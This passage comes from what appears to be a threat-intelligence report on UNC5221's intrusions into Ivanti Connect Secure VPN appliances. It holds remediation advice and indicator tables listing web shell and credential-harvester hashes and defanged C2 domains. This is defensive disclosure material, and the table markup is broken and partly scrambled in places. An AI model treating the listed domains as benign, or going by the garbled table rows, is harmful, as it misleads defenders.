style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.policytrace.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003esensorslog\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003e/runtime/logs/log.sensorslog.vc0\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eTable 4: System log descriptions\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003eMandiant recommends hunting for event ID \u003ccode\u003eADM20599\u003c/code\u003e\u00a0in the events log (\u003ccode\u003elog.events.vc0\u003c/code\u003e) for evidence of log clearing.\u003c/p\u003e\n\u003ch2\u003eAttribution\u003c/h2\u003e\n\u003cp\u003eMandiant assesses with moderate confidence that UNC5221 is a China-nexus espionage threat actor. Mandiant has observed UNC5221 targeting a wide range of verticals of strategic interest to the People's Republic of China (PRC) both pre and post disclosure, and early indications show that tooling and infrastructure overlap with past intrusions attributed to suspected China-based espionage actors. Additionally, Linux-based tools identified in incident response investigations use code from multiple Chinese-language Github repositories. As noted in our previous blog post, UNC5221 has largely leveraged TTPs associated with zero-day exploitation of edge infrastructure by suspected PRC nexus actors.\u003c/p\u003e\n\u003ch2\u003eRecommendations\u003c/h2\u003e\n\u003ch3\u003ePatch Availability\u003c/h3\u003e\n\u003cp\u003eIvanti is releasing the first round of patches for specific versions of Ivanti Connect Secure starting on Jan. 31, 2024. The remaining patches will be released on a staggered schedule for three different products that span multiple branches and versions.\u003c/p\u003e\n\u003ch3\u003eInstalling the Mitigation\u00a0\u003c/h3\u003e\n\u003cp\u003eAffected customers should install the mitigation immediately if a patch is not yet available for their version. Installing the mitigation is intended to prevent future exploitation of the two vulnerabilities. It is not intended to remediate or otherwise contain an existing compromised device.\u003c/p\u003e\n\u003cp\u003eOn Jan. 20, 2024, Ivanti released\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003edetails\u003c/u\u003e\u003c/a\u003e\u00a0related to a condition that would negatively impact the mitigation and render appliances in a vulnerable state. The condition impacts customers who push configurations to appliances using Ivanti Neurons for Secure Access (nSA) or Pulse One. Ivanti recommends customers to stop pushing configurations to appliances with the XML in place until patches are installed.\u003c/p\u003e\n\u003ch3\u003eIntegrity Checker Tool\u003c/h3\u003e\n\u003cp\u003eIvanti customers are still encouraged to first run and review their logs for historical hits by the internal Integrity Checker Tool (ICT). If the internal ICT comes back with no results, customers should then run the external ICT as it is more robust and resistant to tampering. Mandiant and Volexity have observed threat actors attempting to tamper with the internal (built-in) ICT to evade detection.\u003c/p\u003e\n\u003cp\u003eCustomers should share the ICT results with Ivanti for further analysis. Ivanti will make a determination if the appliance is compromised and recommend next steps.\u003c/p\u003e\n\u003ch3\u003ePassword Resets\u003c/h3\u003e\n\u003cp\u003eIn addition to resetting the password of any local user configured on the appliance, Mandiant advises that organizations affected by the WARPWIRE credential stealer reset passwords of any users who authenticated to the appliance during the period when the malware was active. We also recommend customers search EDR telemetry and firewall logs for traffic to the WARPWIRE credential harvester C2 addresses listed in the IOCs section.\u003c/p\u003e\n\u003ch3\u003eHardening Guide\u003c/h3\u003e\n\u003cp\u003eWe have released a guidance document, which contains\u00a0\u003ca href\u003d\"https://services.google.com/fh/files/misc/ivanti-connect-secure-remediation-hardening.pdf\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003eremediation and hardening recommendations\u003c/a\u003e\u00a0for suspected compromised Ivanti Connect Secure (CS) VPN appliances associated with the exploitation of CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893.\u003c/p\u003e\n\u003ch2\u003eAcknowledgements\u003c/h2\u003e\n\u003cp\u003eWe would like to thank Ivanti for their continued partnership, support, and transparency following the exploitation of CVE-2023-46805 and CVE-2024-21887 by UNC5221. In addition, this work would not have been possible without the assistance from our team members across Mandiant Consulting, Intelligence, FLARE, and Google TAG.\u003c/p\u003e\n\u003ch2\u003eIndicators of Compromise (IOCs)\u003c/h2\u003e\n\u003ch3\u003eHost-Based Indicators (HBIs)\u003c/h3\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eFilename\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eMD5\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eDescription\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ehealth.py\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e3045f5b3d355a9ab26ab6f44cc831a83\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCHAINLINE web shell\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ecompcheckresult.cgi\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e3d97f55a03ceb4f71671aa2ecf5b24e9\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eLIGHTWIRE web shell\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e2ec505088b942c234f39a37188e80d7a\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e8eb042da6ba683ef1bae460af103cc44\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ea739bd4c2b9f3679f43579711448786f\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ea81813f70151a022ea1065b7f4d6b5ab\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ed0c7a334a4d9dcd3c6335ae13bee59ea\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003elastauthserverused.js\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ee8489983d73ed30a4240a14b1f161254\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE credential harvester variant\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ecategory.py\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e465600cece80861497e8c1c86a07a23e\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid 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#000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eN/A \u2014 varies\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eConfiguration and cache dump\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003evisits.py\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eN/A \u2014 varies\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan 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style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eNetwork Indicator\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eType\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003cth style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eDescription\u003c/strong\u003e\u003c/p\u003e\n\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003esymantke[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003emiltonhouse[.]nl\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eentraide-internationale[.]fr\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eapi.d-n-s[.]name\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003ecpanel.netbar[.]org\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eclickcom[.]click\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eclicko[.]click\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eduorhytm[.]fun\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomai\u200b\u200bn\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eline-api[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eareekaweb[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003eehangmun[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003esecure-cama[.]com\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eDomain\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 